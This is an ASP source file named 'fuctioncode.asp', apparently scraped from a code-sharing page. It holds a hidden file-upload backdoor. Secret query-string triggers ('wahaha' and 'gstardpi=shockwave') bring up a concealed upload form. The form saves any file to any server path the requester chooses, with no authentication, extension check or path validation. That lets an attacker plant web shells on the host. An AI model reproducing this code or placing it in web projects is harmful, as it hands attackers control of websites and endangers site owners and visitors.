?? fuctioncode.asp
字號:
<%
dim obFileStream
Class bbpro
dim Form,fppp
Private Sub Class_Initialize
dim RequestBinDate,sStart,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,obbInfo
dim iFileSize,sFilePath,sFileType,sFormvalue,sbbName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
set Form = Server.CreateObject("Scripting.Dictionary")
set fppp = Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes < 1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set obFileStream = Server.CreateObject("adodb.stream")
obFileStream.Type = 1
obFileStream.Mode = 3
obFileStream.Open
obFileStream.Write Request.BinaryRead(Request.TotalBytes)
obFileStream.Position=0
RequestBinDate = obFileStream.Read
iFormEnd = obFileStream.Size
bCrLf = chrB(13) & chrB(10)
sStart = MidB(RequestBinDate,1, InStrB(1,RequestBinDate,bCrLf)-1)
iStart = LenB (sStart)
iFormStart = iStart+2
Do
iInfoEnd = InStrB(iFormStart,RequestBinDate,bCrLf & bCrLf)+3
tStream.Type = 1
tStream.Mode = 3
tStream.Open
obFileStream.Position = iFormStart
obFileStream.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
iFormStart = InStrB(iInfoEnd,RequestBinDate,sStart)-1
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
if InStr (45,sInfo,"filename=""",1) > 0 then
set obbInfo= new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sbbName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
obbInfo.FileName = GetFileName(sbbName)
obbInfo.FilePath = GetFilePath(sbbName)
obbInfo.FileExt = GetFileExt(sbbName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
obbInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
obbInfo.FileStart = iInfoEnd
obbInfo.FileSize = iFormStart -iInfoEnd -2
obbInfo.FormName = sFormName
fppp.add sFormName,obbInfo
else
tStream.Close
tStream.Type = 1
tStream.Mode = 3
tStream.Open
obFileStream.Position = iInfoEnd
obFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
tStream.Position = 0
tStream.Type = 2
tStream.Charset = "gb2312"
sFormvalue = tStream.ReadText
form.Add sFormName,sFormvalue
end if
tStream.Close
iFormStart = iFormStart+iStart+2
loop until (iFormStart+2) = iFormEnd
RequestBinDate=""
set tStream = nothing
End Sub
Private Sub Class_Terminate
if not Request.TotalBytes<1 then
obFileStream.Close
set obFileStream =nothing
end if
Form.RemoveAll
fppp.RemoveAll
set Form=nothing
set fppp=nothing
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
Private function GetFileExt(FullPath)
If FullPath <> "" Then
GetFileExt = mid(FullPath,InStrRev(FullPath, ".")+1)
Else
GetFileExt = ""
End If
End function
End Class
if request.QueryString("wahaha")="wahaha" then
micangeld="<form action=""?gstardpi=shockwave"" method=""post"" name=""form1"" enctype=""multipart/form-data"">"
micangeld=micangeld&"<input name=""FileName"" type=""FILE""><input type=""text"" name=""bbpp"">"
micangeld=micangeld&"<input type=""submit"" name=""Submit"" value="" ""></form>"
response.write micangeld
end if
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
FileExt = ""
End Sub
Public function SaveTobb(FullPath)
dim oFileStream,ErrorChar,i
SaveTobb=1
if trim(fullpath)="" or right(fullpath,1)="/" then exit function
set oFileStream=CreateObject("Adodb.Stream")
oFileStream.Type=1
oFileStream.Mode=3
oFileStream.Open
obFileStream.position=FileStart
obFileStream.copyto oFileStream,FileSize
oFileStream.SaveToFile FullPath,2
oFileStream.Close
set oFileStream=nothing
SaveTobb=0
end function
End Class
if request.QueryString("gstardpi")="shockwave" then
dim uppp,fppp,formName,sppp,filename,fileExt
set uppp=new bbpro
sppp =uppp.form("bbpp")
if right(sppp,1)<>"/" then sppp=sppp&"/"
for each formName in uppp.fppp
set fppp=uppp.fppp(formName)
fileExt=lcase(fppp.FileExt)
fppp.SaveTobb Server.mappath(sppp&fppp.filename)
response.write "<a href=""javascript:history.back();"">back</a>"
set fppp=nothing
next
set uppp=nothing
end if
%>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -